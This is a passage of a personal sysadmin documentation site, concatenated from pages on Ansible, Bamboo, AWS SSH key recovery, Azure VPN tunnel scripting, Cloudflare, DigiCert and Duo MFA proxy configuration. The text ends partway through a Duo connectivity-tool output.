# Caleb Sargeant's Docs
Every documentation page, concatenated. Canonical site: https://docs.calebsargeant.com/
---
# Ansible
Source: docs/computing/ansible/index.md
URL: https://docs.calebsargeant.com/computing/ansible/
View my [Ansible GitHub Repo](https://github.com/CalebSargeant/ansible)
Ping localhost: `ansible localhost -m ping`
---
# Module Examples
Source: docs/computing/ansible/module-examples.md
URL: https://docs.calebsargeant.com/computing/ansible/module-examples/
## lineinfile
``` yaml
- name: Create ANAME records for all safe search
lineinfile:
path: /tmp/test.txt
line: "{{ item.line }}"
with_items:
- { line: 'host-record=forcesafesearch.google.com,216.239.38.120' }
- { line: 'host-record=safe.duckduckgo.com,54.241.17.246' }
- { line: 'host-record=restrict.youtube.com,216.239.38.120' }
- { line: 'host-record=strict.bing.com,204.79.197.220' }
- { line: 'host-record=safesearch.pixabay.com,176.9.158.70' }
- name: Create CNAME records for various search engines
lineinfile:
path: /tmp/test.txt
line: "{{ item.line }}"
with_items:
- { line: 'cname=www.youtube.com,restrict.youtube.com' }
- { line: 'cname=m.youtube.com,restrict.youtube.com' }
- { line: 'cname=youtubei.googleapis.com,restrict.youtube.com' }
- { line: 'cname=youtube.googleapis.com,restrict.youtube.com' }
- { line: 'cname=www.youtube-nocookie.com,restrict.youtube.com' }
- { line: 'cname=duckduckgo.com,www.duckduckgo.com,start.duckduckgo.com,safe.duckduckgo.com' }
- { line: 'cname=duck.com,www.duck.com,safe.duckduckgo.com' }
- { line: 'cname=bing.com,www.bing.com,strict.bing.com' }
- { line: 'cname=pixabay.com,safesearch.pixabay.com' }
```
## shell
``` yaml
- name: Google test
shell: "echo cname={{ item }},www.{{ item }},forcesafesearch.google.com >> /tmp/test.txt"
with_items:
- "{{ my_items.stdout_lines }}"
```
---
# Bamboo
Source: docs/computing/bamboo.md
URL: https://docs.calebsargeant.com/computing/bamboo/
## Setting up an Instance
``` bash
root@bamboo:~# wget https://www.atlassian.com/software/bamboo/downloads/binary/atlassian-bamboo-8.0.1.tar.gz
root@bamboo:~# tar -xvf atlassian-bamboo-8.0.1.tar.gz
root@bamboo:~# cd atlassian-bamboo-8.0.1/
root@bamboo:~/atlassian-bamboo-8.0.1# mkdir /var/bamboo/
root@bamboo:~/atlassian-bamboo-8.0.1# mkdir /var/bamboo/bamboo-home
root@bamboo:~/atlassian-bamboo-8.0.1# nano atlassian-bamboo/WEB-INF/classes/bamboo-init.properties
root@bamboo:~/atlassian-bamboo-8.0.1# sudo apt install default-jre
root@bamboo:~/atlassian-bamboo-8.0.1# java -version
root@bamboo:~/atlassian-bamboo-8.0.1# ./bin/start-bamboo.sh
root@bamboo:~/atlassian-bamboo-8.0.1# sudo apt install postgresql postgresql-contrib
root@bamboo:~/atlassian-bamboo-8.0.1# sudo -i -u postgres
postgres@bamboo:~$ psql
postgres=# create user caleb with encrypted password 'mypassword';
postgres=# create database bamboo;
postgres=# grant all privileges on database bamboo to caleb;
```
## Installing the Remote Agent
``` bash
root@bamboo:~# wget http://localhost:8085/agentServer/agentInstaller/atlassian-bamboo-agent-installer-8.0.1.jar
root@bamboo:~# java -jar atlassian-bamboo-agent-installer-8.0.1.jar http://localhost:8085/agentServer/
```
---
# AWS
Source: docs/computing/cloud/aws.md
URL: https://docs.calebsargeant.com/computing/cloud/aws/
## Certification
### AWS Certified Cloud Practitioner
CLF-C01
[Download Slides](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/cloud/_docs/AWS%20Certified%20Cloud%20Practitioner%20Slides%20v2.11.0.pdf)
### AWS Certified SysOps Administrator
SOA-C02
[Download Slides](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/cloud/_docs/AWS%20Certified%20SysOps%20Slides%20v3.8.0.pdf)
### AWS Certified DevOps Engineer - Professional
DOP-C01
### AWS Certified Security - Specialty
SCS-C01
## General
### Recover Lost SSH Key
1. Create a new instance with an SSH key
2. SSH into the instance and copy the authorized_keys entry
3. Stop the instance that you lost the key for
4. Edit the user data of the instance:
5. Paste the below in the user data of the instance and start it:
``` bash
Content-Type: multipart/mixed; boundary="//"
MIME-Version: 1.0
--//
Content-Type: text/cloud-config; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="cloud-config.txt"
#cloud-config
cloud_final_modules:
- [scripts-user, always]
--//
Content-Type: text/x-shellscript; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="userdata.txt"
#!/bin/bash
/bin/echo -e "ssh-rsa AAUvoqDuvCKFrVzeq/O68JgAo0zSSD3KMYwO1RSZ8/2FwMEYZP7jAh3GOYJhIS
AzFsDcN/jgtluZIwEn7MXym21EDLk1aFdI20WtbQJH79as9+nV9jtzf9BiQnM/fe18Frb94A1DUALcEyPesl
oYvcOxyCCaqAKS6v1g1me4Up+IbHNfVgE+GtLdh+oohR8SRc3xL9tvQu0kzFSRVsfymhu5l2WBpf9STvm3rt
MbNKzjmKAqPlMSuShn72pTwqScGoPG+3ofZ36nLdh+oo" >> /home/ec2-user/.ssh/authorized_keys
--//
```
6. Login to the server with the new key
7. Remember to stop the recovery instance you created if not using it
---
# Azure
Source: docs/computing/cloud/azure.md
URL: https://docs.calebsargeant.com/computing/cloud/azure/
## SFTP Server using Storage Account
- Create Storage Account
- Deploy template
## Sentinal
-
-
> -
> -
> -
## Az-CLI
### Creating Tunnels
``` bash
## Create a Gatway Subnet for VNET
az network vnet subnet create -g "$RSG" --vnet-name "$VNET" -n "GatewaySubnet" --address-prefix "10.$SUBNUM.207.224/27"
## Create a Public IP Address for VGW (https://docs.microsoft.com/en-us/azure/vpn-gateway/vpn-gateway-vpn-faq#can-i-request-a-static-public-ip-address-for-my-vpn-gateway)
az network public-ip create -g "$RSG" -n "$VGW_PIP" --allocation-method "dynamic"
## Create a VNET Gateway
az network vnet-gateway create -g "$RSG" -n "$VGW_NAME" --vnet "$VNET" --public-ip-addresses "$VGW_PIP" --sku "Standard"
## Create a local-gateway (VPN Peer) to connect to
az network local-gateway create -g "$RSG" -n "$LGW1" --gateway-ip-address "$PIP1" --local-address-prefixes "$SUBNET"
## Create the tunnel on Azure's side
az network vpn-connection create -g "$RSG" -n "$CON1" --vnet-gateway1 "$VGW_NAME" --local-gateway2 "$LGW1" --shared-key "$PSK"
## VNET to VNET Tunnels
for XX in $OTHER_REGIONS; do
VGW_ID=$(az network vnet-gateway show -g "$XX-RSG" -n "$XX-VPN-GW" | grep id | head -n1 | awk -F '"' '{print $4}')
az network vpn-connection create -g "$RSG" -n "$VNET-$XX-VNET" --vnet-gateway1 "$VGW_NAME" --vnet-gateway2 "$VGW_ID" --shared-key "$VNET_PSK"
done
```
### Tunnel Config on ASA
``` bash
ASA_PEER=$(az network public-ip show -g "$RSG" -n "$VGW_PIP" --query ipAddress -o tsv)
ASA_PEER_NAME="CORP-AZURE-$REGION_PREFIX-$SUBNUM"
ASA_REMOTE_SUBNET=$(echo "$VNET_PREFIX" | grep -o '[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}')
# Generate Azure tunnel configuration
FILENAME="$REGION_PREFIX.ps1"
echo "# This file is generated by scriptPX" >> "$FILENAME"
echo "\$POLICY = New-AzIpsecPolicy -IkeEncryption AES$P1_AES -IkeIntegrity SHA$P1_SHA -DhGroup DHGroup$DH_GROUP -IpsecEncryption GCMAES$P2_GCM_AES -IpsecIntegrity GCMAES$P2_GCM_AES -PfsGroup PFS$DH_GROUP -SALifeTimeSeconds 14400 -SADataSizeKilobytes 102400000" > "$FILENAME"
echo "\$RSG = \"$RSG\"" >> "$FILENAME"
echo "\$Connections = @(\"$CON1\", \"$CON2\")" >> "$FILENAME"
echo "foreach (\$Connection in \$Connections) {" >> "$FILENAME"
echo " \$CON = Get-AzVirtualNetworkGatewayConnection -name \$Connection -ResourceGroupName \$RSG" >> "$FILENAME"
echo " Set-AzVirtualNetworkGatewayConnection -VirtualNetworkGatewayConnection \$CON -IpsecPolicies \$POLICY -UsePolicyBasedTrafficSelectors \$True -Force" >> "$FILENAME"
echo "}" >> "$FILENAME"
# Generate ASA tunnel configuration
for i in "${OFFICES[@]}"; do
OFFICE=$i
if [[ "$OFFICE" == "CPT" ]] ; then
FILENAME="03-4-tunnels-cpt-az$REGION_PREFIX"
PSK="$CPT_PSK"
ASA_LOCAL_SUBNET=$(echo "$CPT_SUBNET" | grep -o '[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}')
NEXT_HOP_INT="$CPT_NEXT_HOP_INT"
NEXT_HOP_IP="$CPT_NEXT_HOP_IP"
elif [[ "$OFFICE" == "JHB" ]]; then
FILENAME="03-5-tunnels-jhb$REGION_PREFIX"
PSK="$JHB_PSK"
ASA_LOCAL_SUBNET=$(echo "$JHB_SUBNET" | grep -o '[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}')
NEXT_HOP_INT="$JHB_NEXT_HOP_INT"
NEXT_HOP_IP="$JHB_NEXT_HOP_IP"
elif [[ "$OFFICE" == "DBN" ]]; then
FILENAME="03-6-tunnels-dbn$REGION_PREFIX"
PSK="$DBN_PSK"
ASA_LOCAL_SUBNET=$(echo "$DBN_SUBNET" | grep -o '[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}')
NEXT_HOP_INT="$DBN_NEXT_HOP_INT"
NEXT_HOP_IP="$DBN_NEXT_HOP_IP"
fi
echo "# This file is generated by scriptPX" >> "$FILENAME"
echo "wr mem" >> "$FILENAME"
echo "copy /noconfirm startup startup$rdate" > "$FILENAME"
echo "name $ASA_PEER $ASA_PEER_NAME" > "$FILENAME"
echo "" >> "$FILENAME"
echo "group-policy GroupPolicy_$ASA_PEER internal" >> "$FILENAME"
echo "group-policy GroupPolicy_$ASA_PEER attributes" >> "$FILENAME"
echo " vpn-tunnel-protocol ikev2" >> "$FILENAME"
echo "" >> "$FILENAME"
echo "tunnel-group $ASA_PEER type ipsec-l2l" >> "$FILENAME"
echo "tunnel-group $ASA_PEER general-attributes" >> "$FILENAME"
echo " default-group-policy GroupPolicy_$ASA_PEER" >> "$FILENAME"
echo "tunnel-group $ASA_PEER ipsec-attributes" >> "$FILENAME"
echo " ikev2 local-authentication pre-shared-key $PSK" >> "$FILENAME"
echo " ikev2 remote-authentication pre-shared-key $PSK" >> "$FILENAME"
echo "" >> "$FILENAME"
echo "object-group network VPN-LOCAL-$SUBNUM" >> "$FILENAME"
echo " description OnPrem Network" >> "$FILENAME"
echo " network-object $ASA_LOCAL_SUBNET 255.255.0.0" >> "$FILENAME"
echo "" >> "$FILENAME"
echo "object-group network VPN-REMOTE-$SUBNUM" >> "$FILENAME"
echo " description Azure Virtual Network" >> "$FILENAME"
echo " network-object $ASA_REMOTE_SUBNET 255.255.0.0" >> "$FILENAME"
echo "" >> "$FILENAME"
echo "access-list $SUBNUM extended permit ip object-group VPN-LOCAL-$SUBNUM object-group VPN-REMOTE-$SUBNUM" >> "$FILENAME"
echo "" >> "$FILENAME"
echo "crypto ikev2 policy $SUBNUM" >> "$FILENAME"
echo " encryption aes-$P1_AES" >> "$FILENAME"
echo " integrity sha$P1_SHA" >> "$FILENAME"
echo " group $DH_GROUP" >> "$FILENAME"
echo " prf $PRF" >> "$FILENAME"
echo " lifetime seconds $P1_LIFETIME" >> "$FILENAME"
echo "" >> "$FILENAME"
echo "crypto ipsec ikev2 ipsec-proposal AES-GCM-$P2_GCM_AES" >> "$FILENAME"
echo " protocol esp encryption aes-gcm-$P2_GCM_AES" >> "$FILENAME"
echo " protocol esp integrity aes-gcm-$P2_GCM_AES" >> "$FILENAME"
echo "" >> "$FILENAME"
echo "crypto map outside_map $SUBNUM match address $SUBNUM" >> "$FILENAME"
echo "crypto map outside_map $SUBNUM set pfs group$DH_GROUP" >> "$FILENAME"
echo "crypto map outside_map $SUBNUM set peer $ASA_PEER_NAME" >> "$FILENAME"
echo "crypto map outside_map $SUBNUM set ikev2 ipsec-proposal AES-GCM-$P2_GCM_AES" >> "$FILENAME"
echo "crypto map outside2_map $SUBNUM match address $SUBNUM" >> "$FILENAME"
echo "crypto map outside2_map $SUBNUM set pfs group$DH_GROUP" >> "$FILENAME"
echo "crypto map outside2_map $SUBNUM set peer $ASA_PEER_NAME" >> "$FILENAME"
echo "crypto map outside2_map $SUBNUM set ikev2 ipsec-proposal AES-GCM-$P2_GCM_AES" >> "$FILENAME"
echo "" >> "$FILENAME"
echo "nat (any,outside) source static VPN-LOCAL-$SUBNUM VPN-LOCAL-$SUBNUM destination static VPN-REMOTE-$SUBNUM VPN-REMOTE-$SUBNUM no-proxy-arp route-lookup" >> "$FILENAME"
echo "nat (any,outside2) source static VPN-LOCAL-$SUBNUM VPN-LOCAL-$SUBNUM destination static VPN-REMOTE-$SUBNUM VPN-REMOTE-$SUBNUM no-proxy-arp route-lookup" >> "$FILENAME"
echo "" >> "$FILENAME"
echo "access-list Outside-Split-ACL standard permit $ASA_REMOTE_SUBNET 255.255.0.0" >> "$FILENAME"
echo "" >> "$FILENAME"
if [[ "$NEXT_HOP_INT" == "outside" ]]; then
echo "# using default route" >> "$FILENAME"
else
echo "route $NEXT_HOP_INT $ASA_PEER_NAME 255.255.255.255 $NEXT_HOP_IP 1" >> "$FILENAME"
fi
echo "wr mem" >> "$FILENAME"
done
```
### Public IP
``` bash
AZ_PEER_PIP1=$(az network public-ip show -g "$RSG" -n "$VGW_PIP" --query ipAddress -o tsv)
```
### Functions
``` bash
# Nothing needs to be defined to use function (no, you don't have to define Nothing= :))
network-lb-create() {
az network lb create --resource-group "$RSG" --name "$LB_NAME" --frontend-ip-name "$LB_FE_POOL_NAME" \
--private-ip-address "$LB_IP" --backend-pool-name "$LB_BE_POOL_NAME" --vnet-name "$VNET" --subnet "$SUBNET"
}
# LB_PROBE_PROTO and LB_PROBE_PORT need to be defined to use function
network-lb-probe-create() {
az network lb probe create --resource-group "$RSG" --lb-name "$LB_NAME" \
--name "$LB_PROBE_NAME" --protocol "$LB_PROBE_PROTO" --port "$LB_PROBE_PORT"
}
# LB_RULE_NAME, LB_RULE_PORT, and LB_RULE_PROTO need to be defined to use function
lb-rule-create() {
az network lb rule create --resource-group "$RSG" --lb-name "$LB_NAME" \
--name "$LB_NAME-$LB_RULE_NAME" --protocol "$LB_RULE_PROTO" --frontend-port "$LB_RULE_PORT" \
--backend-port "$LB_RULE_PORT" --frontend-ip-name "$LB_FE_POOL_NAME" \
--backend-pool-name "$LB_BE_POOL_NAME" --probe-name "$LB_PROBE_NAME"
}
# NSGR_NAME, NSGR_SRC, NSGR_DST, NSGR_PORTS, NSGR_PROTO, and NSGR_PRIORITY need to be defined to use function
nsg-rule-create() {
az network nsg rule create -g "$RSG" --nsg-name "$NSG" -n $NSGR_NAME \
--source-address-prefixes ""$NSGR_SRC"" \
--destination-address-prefixes "$NSGR_DST" \
--destination-port-ranges "$NSGR_PORTS" --priority "$NSGR_PRIORITY" \
--access Allow --protocol "$NSGR_PROTO" --direction Inbound
}
# VM_NIC_NAME needs to be defined to use function
network-nic-create() {
az network nic create \
-g "$RSG" -n "$VM_NIC_NAME" \
--vnet-name "$VNET" \
--subnet "$SUBNET" "$@"
}
network-nic-list() {
az network nic list \
-g "$RSG" \
--vnet-name "$VNET"
}
# AS_NAME needs to be defined to use function
vm-availability-set-create() {
az vm availability-set create -g "$RSG" -n "$AS_NAME"
}
# VM_NIC_NAME needs to be defined to use function
network-nic-pool-add() {
az network nic ip-config address-pool add -g "$RSG" --nic-name "$VM_NIC_NAME" \
--ip-config-name "ipconfig1" --address-pool "$LB_BE_POOL_NAME" --lb-name "$LB_NAME"
}
# VM_NAME and VM_NIC_NAME need to be defined to use function
vm-create() {
az vm create \
-g "$RSG" -n "$VM_NAME" \
--image "$VM_IMAGE" \
--admin-username "$VM_USER" \
--admin-password "$VM_PASS" \
--size "$VM_FLAVOUR" \
--storage-sku "$VM_DISK_TYPE" \
--nics "$VM_NIC_NAME" \
--generate-ssh-keys "$@"
}
# VM_NAME needs to be defined to use function
vm-ip-private() {
az vm show -d -g "$RSG" -n "$VM_NAME" --query privateIps -o tsv
}
# VM_NAME needs to be defined to use function
vm-ip-public() {
az vm show -d -g "$RSG" -n "$VM_NAME" --query publicIps -o tsv
}
# VM_IP needs to be defined to use function
vm-copy-ssh-key() {
.ssh/login.expect "$VM_PASS" "$VM_USER" "$VM_IP"
}
```
### Resize Disk
``` bash
# Get a list of disks in RSG
az disk list -g RSG --query '[*].{Name:name,Gb:diskSizeGb,Tier:accountType}' --output table
# Output the name of the disk
az disk list -g RSG --query '[*].{Name:name,Gb:diskSizeGb,Tier:accountType}' --output table | grep SERVERNAME | awk '{print $1}'
# Stop the VM
az vm stop -g RSG -n SERVERNAME
# Deallocate the VM
az vm deallocate -g RSG -n SERVERNAME
# Resize the disk
az disk update -g UK-RSG -n SERVERNAME_OsDisk_1_xxxxxxxxxx --size-gb 100
# Start the VM
az vm start -g RSG -n SERVERNAME
```
## Azure Powershell
### Modifying IPSec Policies
``` powershell
# Maximum strength:
$POLICY = New-AzIpsecPolicy -IkeEncryption AES256 -IkeIntegrity SHA384 -DhGroup DHGroup24 -IpsecEncryption GCMAES256 -IpsecIntegrity GCMAES256 -PfsGroup PFS24 -SALifeTimeSeconds 14400 -SADataSizeKilobytes 102400000
$RSG = "RSG"
$Connections = @("CON1", "CON2")
foreach ($Connection in $Connections) {
$CON = Get-AzVirtualNetworkGatewayConnection -name $Connection -ResourceGroupName $RSG
Set-AzVirtualNetworkGatewayConnection -VirtualNetworkGatewayConnection $CON -IpsecPolicies $POLICY -UsePolicyBasedTrafficSelectors $True -Force
}
```
### Deploy AADDS
``` powershell
# Change the following values to match your deployment.
$AaddsAdminUserUpn = "admin@contoso.onmicrosoft.com"
$ResourceGroupName = "myResourceGroup"
$VnetName = "myVnet"
$AzureLocation = "westus"
$AzureSubscriptionId = "xxxxxx-xxxxx-xxxx-xxxx-xxxxxxx"
$ManagedDomainName = "mydomain.com"
# Connect to your Azure AD directory.
Connect-AzureAD
# Login to your Azure subscription.
Connect-AzAccount
# Create the service principal for Azure AD Domain Services.
New-AzureADServicePrincipal -AppId "2565bd9d-da50-47d4-8b85-4c97f669dc36"
# Create the delegated administration group for AAD Domain Services.
New-AzureADGroup -DisplayName "AAD DC Administrators" `
-Description "Delegated group to administer Azure AD Domain Services" `
-SecurityEnabled $true -MailEnabled $false `
-MailNickName "AADDCAdministrators"
# First, retrieve the object ID of the newly created 'AAD DC Administrators' group.
$GroupObjectId = Get-AzureADGroup `
-Filter "DisplayName eq 'AAD DC Administrators'" | `
Select-Object ObjectId
# Now, retrieve the object ID of the user you'd like to add to the group.
$UserObjectId = Get-AzureADUser `
-Filter "UserPrincipalName eq '$AaddsAdminUserUpn'" | `
Select-Object ObjectId
# Add the user to the 'AAD DC Administrators' group.
Add-AzureADGroupMember -ObjectId $GroupObjectId.ObjectId -RefObjectId $UserObjectId.ObjectId
# Register the resource provider for Azure AD Domain Services with Resource Manager.
Register-AzResourceProvider -ProviderNamespace Microsoft.AAD
# Create the resource group.
New-AzResourceGroup `
-Name $ResourceGroupName `
-Location $AzureLocation
# Create the dedicated subnet for AAD Domain Services.
$AaddsSubnet = New-AzVirtualNetworkSubnetConfig `
-Name DomainServices `
-AddressPrefix 10.0.0.0/24
$WorkloadSubnet = New-AzVirtualNetworkSubnetConfig `
-Name Workloads `
-AddressPrefix 10.0.1.0/24
# Create the virtual network in which you will enable Azure AD Domain Services.
$Vnet=New-AzVirtualNetwork `
-ResourceGroupName $ResourceGroupName `
-Location $AzureLocation `
-Name $VnetName `
-AddressPrefix 10.0.0.0/16 `
-Subnet $AaddsSubnet,$WorkloadSubnet
# Enable Azure AD Domain Services for the directory.
New-AzResource -ResourceId "/subscriptions/$AzureSubscriptionId/resourceGroups/$ResourceGroupName/providers/Microsoft.AAD/DomainServices/$ManagedDomainName" `
-Location $AzureLocation `
-Properties @{"DomainName"=$ManagedDomainName; `
"SubnetId"="/subscriptions/$AzureSubscriptionId/resourceGroups/$ResourceGroupName/providers/Microsoft.Network/virtualNetworks/$VnetName/subnets/DomainServices"} `
-Force -Verbose
```
## Connection Troubleshooting
### GUI
**Create a Storage Account**
Go to Home \> [Network Watcher - Packet capture](https://portal.azure.com/#blade/Microsoft_Azure_Network/NetworkWatcherMenuBlade/packetCapture) \> Add
Select the following from the dropdowns:
- Resource group: (your RSG)
- Target Virtual Machine: (the VM that you want to run the capture on)
- Packet capture name: (give it something unique)
- Storage account: (your storage account )
- Maximum bytes per session: 10485760 (10MB, instead of the default 1GB)
### CLI
``` bash
az network watcher packet-capture create -g MyResourceGroup -n MyPacketCaptureName --vm MyVm \
--storage-account MyStorageAccount --filters '[ \
{ \
"protocol":"TCP", \
"remoteIPAddress":"1.1.1.1-255.255.255", \
"localIPAddress":"10.0.0.3", \
"remotePort":"20" \
}, \
{ \
"protocol":"TCP", \
"remoteIPAddress":"1.1.1.1-255.255.255", \
"localIPAddress":"10.0.0.3", \
"remotePort":"80" \
}, \
{ \
"protocol":"TCP", \
"remoteIPAddress":"1.1.1.1-255.255.255", \
"localIPAddress":"10.0.0.3", \
"remotePort":"443" \
}, \
{ \
"protocol":"UDP" \
}]'
```
---
# Cloudflare
Source: docs/computing/cloud/cloudflare.md
URL: https://docs.calebsargeant.com/computing/cloud/cloudflare/
Some stuff about Cloudflare
HTTP ports supported by Cloudflare:
- 80
- 8080
- 8880
- 2052
- 2082
- 2086
- 2095
HTTPS ports supported by Cloudflare:
- 443
- 2053
- 2083
- 2087
- 2096
- 8443
---
# DigiCert
Source: docs/computing/cloud/digicert.md
URL: https://docs.calebsargeant.com/computing/cloud/digicert/
## Enabling IP Restrictions
IP Restrictions are enabled in the DigiCert control panel under *Settings \> IP Restrictions*. We cannot define the IP Addresses to restrict to until we have enabled this option.
Once the option is enabled, we are able to add IP Addresses to restrict.
We will be adding all of our public IP Addresses.
### Giving Access to DigiCert via Split-Tunnel
By default, we will be able to access the DigiCert control panel when working from the office. We need to add DigiCert's IP Addresses to our outside interface split-tunnel configuration so that we can access the DigiCert control panel when VPNing from outside the office. DigiCert uses static IP Addresses which are unlikely to change; however, if they do, we will not be able to access the DigiCert control panel through VPN until we update the split-tunnel configuration.
Change on ASA Example
``` text
access-list OUTSIDE_SPLIT_ACL standard permit host 45.60.121.229
access-list OUTSIDE_SPLIT_ACL standard permit host 45.60.123.229
access-list OUTSIDE_SPLIT_ACL standard permit host 45.60.131.229
```
---
# Duo
Source: docs/computing/cloud/duo.md
URL: https://docs.calebsargeant.com/computing/cloud/duo/
Stuff about Duo & administration thereof
## Cisco AnyConnect VPN
### Duo Admin Panel
Go to *Applications \> Protect an Application* \> search for cisco radius \> *Protect this Application*
Take note of the below. There are way more options that can be configured including but not limited to, logs, voice greetings, policies, etc.
### Duo Authentication Proxy
See [Directory Sync](#directory-sync) for expected output
``` bash
# Edit the Duo config file
sudo nano /opt/duoauthproxy/conf/authproxy.cfg
[radius_server_auto]
ikey=REDACTED
skey=REDACTED
api_host=REDACTED.duosecurity.com
client=ad_client
radius_ip_1=x.x.x.x
radius_secret_1=REDACTED
# Restart the proxy service
service duoauthproxy restart
# Verify config
sudo /opt/duoauthproxy/bin/authproxy_connectivity_tool
```
### Cisco ASA Configuration
``` text
# Create the aaa-server
aaa-server CORP_DUO protocol radius
aaa-server CORP_DUO (inside) host server.corp.example.com
timeout 60
key ***************
authentication-port 1812
accounting-port 1813
radius-common-pw ***************
no mschapv2-capable
exit
# Config tunnel-group
tunnel-group DUO_TUNNEL_GROUP type remote-access
tunnel-group DUO_TUNNEL_GROUP general-attributes
default-group-policy GROUP_POLICY
authentication-server-group CORP_DUO
address-pool POOL
authorization-required
authorization-server-group CORP_LDAP
tunnel-group DUO_TUNNEL_GROUP webvpn-attributes
group-alias DuoEnabledVPN enable
```
**radius-common-pw** is common password to be used for all users who are accessing this RADIUS authorization server through this security appliance
**key** is key specific to a client (i.e. client is a device) created on the Radius server.
## Cisco Management Access
We added independent Application to DUO cloud service to be able to independently manage groups allowed to access the group of devices.
The group is:
### DUO Authentication Proxy
We needed a second instance of RADIUS proxy on the duo instances built for AnyConnect MFA.
This was achieved by adding a section to the configuration of each DUO instance.
We needed to specify different radius port, for example port=18120, to avoid mixing with DUO MFA for AnyConnect.
``` bash
[radius_server_auto2]
ikey=REDACTED
skey=REDACTED
api_host=REDACTED.duosecurity.com
client=ad_client
port=18120
radius_ip_1=x.x.x.x
radius_secret_1=REDACTED
radius_ip_2=y.y.y.y
radius_secret_2=REDACTED
radius_ip_3=z.z.z.z
radius_secret_3=REDACTED
```
Reload of the service should show no errors:
### Cisco ASA
The configuration on each firewall has to point on the local duo proxy servers first, then as a fallback should be listed the remote proxy servers.
``` text
aaa-server CORP_DUO_NET protocol radius
aaa-server CORP_DUO_NET (inside) host server1.corp.example.com
timeout 60
key REDACTED
authentication-port 18120
accounting-port 1813
radius-common-pw REDACTED
no mschapv2-capable
aaa-server CORP_DUO_NET (inside) host server2.corp.example.com
timeout 60
key REDACTED
authentication-port 18120
accounting-port 1813
radius-common-pw REDACTED
no mschapv2-capable
no aaa authentication ssh console LOCAL
aaa authentication ssh console CORP_DUO_NET LOCAL
```
### Cisco IOS
The configuration on each switch has to point on the local duo proxy servers first, then as a fallback should be listed the remote proxy servers. Also DNS had to be fixed to make sure the switch can find the instances by name.
Importantly, the Duoauthproxy DNS to IP resolution is only performed at the configuration time and saved, as each Duoauthproxy is saved to the configuration as an IP address.
``` text
# Enable DNS lookups
ip domain-lookup
ip domain-name corp.example.com
ip name-server x.x.x.x
ip name-server y.y.y.y
ip name-server 1.1.1.1
ip name-server 1.0.0.1
aaa group server radius CORP_DUO_NET
server-private server1.corp.example.com auth-port 18120 timeout 60 key REDACTED
server-private server2.corp.example.com auth-port 18120 timeout 60 key REDACTED
# Test
test aaa group CORP_DUO_NET USER PASSWORD new-code
no aaa authentication login default local
aaa authentication login default group CORP_DUO_NET local
aaa authorization exec default group CORP_DUO_NET local if-authenticated
#change enable secret to let rancid elevate privileges via enable
enable secret 5 REDACTED
```
## Logging & Syslog
### DuoAuthProxy Syslog Config
``` bash
nano /etc/rsyslog.conf
*.* @server1.corp.example.com:12202;RSYSLOG_SyslogProtocol23Format
*.* @server2.corp.example.com:12202;RSYSLOG_SyslogProtocol23Format
*.* @server3.corp.example.com:12202;RSYSLOG_SyslogProtocol23Format
service rsyslog restart
```
### Logging Server Config
I'm using Graylog in this example
Navigate to *System \> Inputs*
Select *Syslog UDP*
Select the *Node*, type in the *Title* and *Port*
Viewing the Messages
## Directory Sync
### Add Email Addresses Attributes to AD
The E-mail address field in AD needs to be filled out so that, when we do a Directory Sync with Duo, the email address will be populated in Duo for sending out enrolment links.
``` powershell
Import-Module ActiveDirectory
$OUList =
'ExampleOU1
ExampleOU2
ExampleOU3'
$OUList = $OUList -split '\r?\n'
ForEach ($OU in $OUList)
{
Get-ADUser -Filter * -SearchBase "OU=\$OU,DC=corp,DC=domain,DC=com" | `
ForEach-Object { Set-ADUser -EmailAddress ($_.samaccountname + '@domain.com') -Identity $_ }
ForEach-Object { Get-ADUser -Filter * -SearchBase "OU=\$OU,DC=mydc,DC=com" -Properties * | select SamAccountName, mail } | Tee-Object -Append UpdateEmailAddressAttributes.log
}
```
### In the Duo Admin Panel
Go to *Users \> Directory Sync \> New Directory*
Input the *Display name, Server* name (use the internal hostname, as the Duo Authentication Proxy is the device that connects to AD), and select *Plain Authentication type*
The *Transport type* is the connection between the *Duo Authentication Proxy* and AD. For the purpose of this guide, we are using *CLEAR Transport type*, but otherwise, we will configure *LDAPS*. When implementing, I recommend we add phones to AD and check Import phones, as this will make enrollment easier.
Take note of the *Integrated key, Secret key, and API hostname*
We will now take a break from the *Duo Admin Panel* and configure the *Duo Authentication Proxy* and come back to this page. Ensure that you click on *Save Directory*
### On the Duo Authentication Proxy
As per and
``` bash
# Update and upgrade
sudo apt-get update -y && sudo apt-get upgrade -y
# Installing dependancies
sudo apt-get install build-essential python-dev libffi-dev perl zlib1g-dev -y
# Download the Duo "auth proxy"
sudo wget https://dl.duosecurity.com/duoauthproxy-latest-src.tgz
# Extract the program & build
sudo tar zxf duoauthproxy-latest-src.tgz
dir=$(ll | grep src/ | awk '{print $9}')
cd $dir
sudo make
# Install the program
cd duoauthproxy-build/
sudo ./install
# enter, enter, yes
```
**Configuration - Cloud Section**
As per
``` bash
# Edit the Duo config file
sudo nano /opt/duoauthproxy/conf/authproxy.cfg
[cloud]
ikey=REDACTED
skey=REDACTED
api_host=REDACTED.duosecurity.com
service_account_username=REDACTED
service_account_password=REDACTED
```
**Configuration - Client Section**
As per
``` bash
# Edit the Duo config file
sudo nano /opt/duoauthproxy/conf/authproxy.cfg
[ad_client]
host=x.x.x.x
host_2=y.y.y.y
service_account_username=REDACTED
service_account_password=REDACTED
search_dn=DC=example,DC=com
# Restart the proxy service
service duoauthproxy restart
```
**Verification**
As per
Note that the expected output below also contains the testing done for *radius_server_auto*, which is for *Cisco RADIUS VPN* - see [Cisco AnyConnect VPN](#cisco-anyconnect-vpn).
``` bash
/opt/duoauthproxy/bin/authproxy_connectivity_tool
# Expected output
Running The Duo Authentication Proxy Connectivity Tool. This may take several minutes...
[info] Testing section 'cloud' with configuration:
[info] {'api_host': 'REDACTED.duosecurity.com',
'ikey': 'REDACTED',
'service_account_password': '*****',
'service_account_username': 'REDACTED',
'skey': '*****[40]'}
[info] There are no configuration problems
[info] -----------------------------
[info] Testing section 'ad_client' with configuration:
[info] {'host': 'x.x.x.x',
